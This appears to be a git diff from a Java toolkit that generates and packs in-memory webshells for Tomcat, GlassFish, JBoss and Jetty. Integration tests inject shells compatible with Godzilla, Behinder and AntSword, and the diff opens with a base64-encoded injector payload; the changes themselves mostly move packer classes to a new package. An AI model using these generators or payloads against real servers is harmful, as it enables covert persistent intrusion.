8G6wAAAACACQAAAASAAQAAAUEAB0FBQAnBQQAKQUGACUAAAAWAAIAAAArBUEADwAAACkAAgHgAPwAAQABBDEAQwABACEAAAA8AAEAAgAAAAgrtgB0uAVCsAAAAAIAJAAAAAYAAQAABQoAJQAAABYAAgAAAAgALgVpAAAAAAAIAPYAqQABAAkEMQVEAAEAIQAAAwsABgAPAAABmwM8Kr49Byq+BWAGbGi8CE4CNgQENgWyACI6Bhs2BxwbZAZsBmg2CBsVCGA2CRUEngAWFQgVBAdsBmikAAsVBAdsBmg2CAM2CqcAqxUHFQhgFQm4BIw2CxUHNgwVCjYNpwB3KhUMhAwBMxEA/34QEHgqFQyEDAEzEQD/fhAIeIAqFQyEDAEzEQD/foA2Di0VDYQNARkGFQ4QEnwQP340kVQtFQ2EDQEZBhUOEAx8ED9+NJFULRUNhA0BGQYVDhAGfBA/fjSRVC0VDYQNARkGFQ4QP340kVQVDBULof+IFQsVB2QGbAdoNgwVChUMYDYKFQs2BxUHFQmh/1QVBxyiAJUqFQeEBwEzEQD/fjYLLRUKhAoBGQYVCwV6NJFUFQccoAAvLRUKhAoBGQYVCwd4ED9+NJFUFQWZAFwtFQqECgEQPVQtFQqECgEQPVSnAEcqFQeEBwEzEQD/fjYMLRUKhAoBGQYVCwd4ED9+FQwHeoA0kVQtFQqECgEZBhUMBXgQP340kVQVBZkADC0VCoQKARA9VLsAdVkttwDYsAAAAAIAJAAAAKIAKAAABQ4AAgUPAAUFEAAQBREAEwUSABYFEwAbBRQAHgUVACcFFgAtBRcAPQUYAEUFGQBIBRoASwUbAFcFHABiBR0AjQUeAKAFHwCzBSAAxgUhANYFHADdBSMA6AUkAO8FJQDzBRoA+gUnAQAFKAENBSkBHAUqASIFKwE0BSwBOQUtAUIFLgFLBTABTgUxAVsFMgFyBTMBhAU0AYkFNQGSBTkAJQAAALYAEgAAAZsFRQAPAAAAAgGZBUYA/AABAAUBlgVHAPwAAgAQAYsFSAAPAAMAEwGIBUkA/AAEABYBhQVKAT8ABQAbAYAFSwAGAAYAHgF9BUwA/AAHACcBdAVNAPwACAAtAW4FTgD8AAkASAFTBU8A/AAKAFcAnAVQAPwACwBbAIIFUQD8AAwAXwB+BVIA/AANAI0ASQVTAPwADgDoAAsFVAD8AAwBDQCFBVUA/AALAVsANwVWAPwADAAJBVcBYwABACEAAAMIAAYADAAAAZgqtgHOmgAHA7wIsCq2AHRMAz0rvj4DNgQdHGQ2BSsdBGQzED2gABOEBAErHQVkMxA9oAAGhAQBFQSaABIVBQZ+mQALBxUFBn5kNgQGFQUGYAdsaBUEZLwIOgYRAQC8CjoHGQcCuAVYAzYIpwARGQeyACIVCDQVCE+ECAEVCLIAIr6h/+wZBxA9EP5PAzYIAzYJEBI2CqcAiischAIBMxEA/342CxkHFQsuWTYLnAAzFQsQ/qAALBUKEAagABMcHZ8AFSschAIBMxA9oAAKFQoQEqAAU7sFW1kTBV23BV+/FQkVCxUKeIA2CYQK+hUKnAAxGQYVCIQIARUJEBB6kVQZBhUIhAgBFQkQCHqRVBkGFQiECAEVCZFUEBI2CgM2CRwdof93FQoQBqAAFBkGFQiECAEVCRAQepFUpwA5FQqaACIZBhUIhAgBFQkQEHqRVBkGFQiECAEVCRAIepFUpwAVFQoQDKAADrsFW1kTBWC3BV+/FQgZBr6fAB4VCLwIOgsZBgMZCwMZBr4VCLgEjLgClBkLOgYZBrAAAAACACQAAADKADIAAAU9AAcFPgALBUAAEAVBABIFQgAVBUMAGAVEAB0FRQAnBUYAKgVHADQFSAA3BUsAQwVMAEsFTgBaBU8AYQVQAGcFUQBtBVIAeAVRAIQFVACLBVUAjgVWAJEFVwCVBVgAmAVZAKQFWgCvBVsAtgVcANQFXQDfBWIA6QVjAOwFZADxBWUA/wVmAQ0FZwEYBWgBHAVpAR8FWAEkBW0BKwVuATkFbwFBBXABTwVxAV0FcgFnBXQBcgV2AXoFdwGABXgBkQV5AZUFewAlAAAAjgAOAAABmAViAKkAAAAQAYgFRQAPAAEAEgGGBUwA/AACABUBgwVOAPwAAwAYAYAFYwD8AAQAHQF7APsA/AAFAFoBPgVIAA8ABgBhATcFSwVkAAcAagAaAeAA/AAIAI4BCgVPAPwACACRAQcFUwD8AAkAlQEDBWUA/AAKAKQAewA7APwACwGAABUElAAPAAsAAQVmAAAAAgVn"); GenerateResult generateResult = GenerateResult.builder() .injectorBytes(bytes1).build(); - String pack = packer.pack(generateResult); + String pack = packer.pack(generateResult.toClassPackerConfig()); System.out.println(pack); } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java index e05d7210..27fe33c6 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker; +import com.reajason.javaweb.packer.freemarker.FreemarkerPacker; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.assertTrue; @@ -18,7 +18,7 @@ class FreemarkerPackerTest { GenerateResult generateResult = GenerateResult.builder() .injectorClassName("hehe") .injectorBytesBase64Str("hehe").build(); - String content = new String(packer.pack(generateResult)); + String content = new String(packer.pack(generateResult.toClassPackerConfig())); System.out.println(content); assertTrue(content.contains("var base64Str = \"hehe\";")); } diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java index 7791c9ac..3800901b 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer; import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.packer.base64.GzipBase64Packer; import lombok.SneakyThrows; import org.junit.jupiter.api.Test; @@ -23,7 +23,7 @@ class GzipBase64Test { void compress() { GenerateResult generateResult = new GenerateResult(); generateResult.setInjectorBytes("hello world".getBytes()); - String pack = new GzipBase64Packer().pack(generateResult); + String pack = new GzipBase64Packer().pack(generateResult.toClassPackerConfig()); assertEquals("hello world", new String(CommonUtil.gzipDecompress(Base64.getDecoder().decode(pack)))); } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java index e4bec708..30d7c527 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.jsp.JspPacker; +import com.reajason.javaweb.packer.jsp.JspPacker; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.assertTrue; @@ -17,7 +17,7 @@ class JspPackerTest { GenerateResult generateResult = GenerateResult.builder() .injectorClassName("hehe") .injectorBytesBase64Str("hehe").build(); - String jspContent = new JspPacker().pack(generateResult); + String jspContent = new JspPacker().pack(generateResult.toClassPackerConfig()); assertTrue(jspContent.contains("String base64Str = \"hehe\";")); } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java index 0e98239e..c1ff5813 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java @@ -1,13 +1,8 @@ package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; -import lombok.SneakyThrows; +import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker; import org.junit.jupiter.api.Test; -import org.junit.jupiter.api.condition.EnabledOnJre; -import org.junit.jupiter.api.condition.JRE; - -import javax.script.ScriptEngineManager; import static org.junit.jupiter.api.Assertions.assertTrue; @@ -22,7 +17,7 @@ class ScriptEnginePackerTest { GenerateResult generateResult = GenerateResult.builder() .injectorClassName("hehe") .injectorBytesBase64Str("hehe").build(); - String jsContent = new String(new ScriptEnginePacker().pack(generateResult)); + String jsContent = new String(new ScriptEnginePacker().pack(generateResult.toClassPackerConfig())); System.out.println(jsContent); assertTrue(jsContent.contains("var base64Str = \"hehe\";")); } diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java index 675ebf1a..ed354e7d 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java @@ -1,6 +1,9 @@ package com.reajason.javaweb.memshell.tomcat.command; -import com.reajason.javaweb.memshell.*; +import com.reajason.javaweb.memshell.MemShellGenerator; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.InjectorConfig; @@ -9,6 +12,7 @@ import com.reajason.javaweb.memshell.generator.command.CommandGenerator; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandListener; import com.reajason.javaweb.memshell.shelltool.command.CommandValve; +import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.util.ClassUtils; import org.junit.jupiter.api.Test; import org.junit.jupiter.params.ParameterizedTest; @@ -70,7 +74,7 @@ class CommandFilterTest { GenerateResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig); // Files.write(Paths.get("hehe.class"), generate.getShellBytes()); - String pack = Packers.ScriptEngine.getInstance().pack(generate); + String pack = Packers.ScriptEngine.getInstance().pack(generate.toClassPackerConfig()); System.out.println(pack); } } \ No newline at end of file diff --git a/integration-test/build.gradle.kts b/integration-test/build.gradle.kts index 4aef2fc2..c1ba7a81 100644 --- a/integration-test/build.gradle.kts +++ b/integration-test/build.gradle.kts @@ -13,11 +13,11 @@ dependencies { testImplementation(project(":tools:suo5")) testImplementation(project(":tools:ant-sword")) testImplementation(project(":generator")) + testImplementation(project(":packer")) testImplementation(libs.javax.servlet.api) testImplementation(libs.javax.websocket.api) testImplementation(libs.java.websocket) testImplementation(libs.okhttp3) - testImplementation(libs.slf4j.simple) testImplementation(libs.junit.platform.reporting) testImplementation(libs.junit.jupiter) testRuntimeOnly(libs.junit.platform.launcher) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 9d54b1e9..353b379c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -4,12 +4,16 @@ import com.reajason.javaweb.antsword.AntSwordManager; import com.reajason.javaweb.behinder.BehinderManager; import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient; import com.reajason.javaweb.godzilla.GodzillaManager; -import com.reajason.javaweb.memshell.*; +import com.reajason.javaweb.memshell.MemShellGenerator; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.*; -import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker; -import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJDKAttacherPacker; -import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker; -import com.reajason.javaweb.memshell.packer.jar.JarPacker; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.packer.jar.AgentJarPacker; +import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker; +import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker; +import com.reajason.javaweb.packer.jar.JarPacker; import com.reajason.javaweb.suo5.Suo5Manager; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; @@ -94,7 +98,7 @@ public class ShellAssertionTool { public static void packerResultAndInject(GenerateResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer appContainer) { String content = null; if (packer.getInstance() instanceof AgentJarPacker) { - byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult); + byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig()); Path tempJar = Files.createTempFile("temp", "jar"); Files.write(tempJar, bytes); String jarPath = "/" + shellTool + shellType + packer.name() + ".jar"; @@ -109,7 +113,7 @@ public class ShellAssertionTool { containsString("JVM response code = 0") )); } else if (packer.getInstance() instanceof AgentJarWithJREAttacherPacker || packer.getInstance() instanceof AgentJarWithJDKAttacherPacker) { - byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult); + byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig()); Path tempJar = Files.createTempFile("temp", "jar"); Files.write(tempJar, bytes); String jarPath = "/" + shellTool + shellType + packer.name() + ".jar"; @@ -130,7 +134,7 @@ public class ShellAssertionTool { containsString("ok") )); } else { - content = packer.getInstance().pack(generateResult); + content = packer.getInstance().pack(generateResult.toClassPackerConfig()); assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer); log.info("send inject payload successfully"); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/TestCasesProvider.java b/integration-test/src/test/java/com/reajason/javaweb/integration/TestCasesProvider.java index 80dbcdb2..d637cb5e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/TestCasesProvider.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/TestCasesProvider.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import org.junit.jupiter.params.provider.Arguments; import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java index b5da6829..5b2d6460 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java index a78075d4..31574c89 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java index a5b9087e..bec457e8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java index 47286c4d..383a6582 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java index 3e292c4b..f2c7e8c2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java index 90ed5bcc..f5c77a68 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index a746df72..43fc5646 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jbossas; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java index e832e587..ee7dc968 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jbossas; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index d6532c2c..c8bf1450 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jbossas; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java index b40652b3..b5a330c4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jbossas; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java index 263d94ef..7a27a80b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jbosseap; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java index 805a81f8..f0053855 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jbosseap; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java index 12ed60b1..e9a2b0fc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java index cba6dbb7..945ff854 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee10ContainerTest.java index 8a73c4e5..d1d175aa 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee10ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee8ContainerTest.java index 4f93d6db..6b694a53 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee8ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee9ContainerTest.java index 07d7a63a..922631d2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee9ContainerTest.java @@ -1,17 +1,16 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; -import org.testcontainers.containers.DockerComposeContainer; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -19,13 +18,10 @@ import org.testcontainers.images.builder.ImageFromDockerfile; import 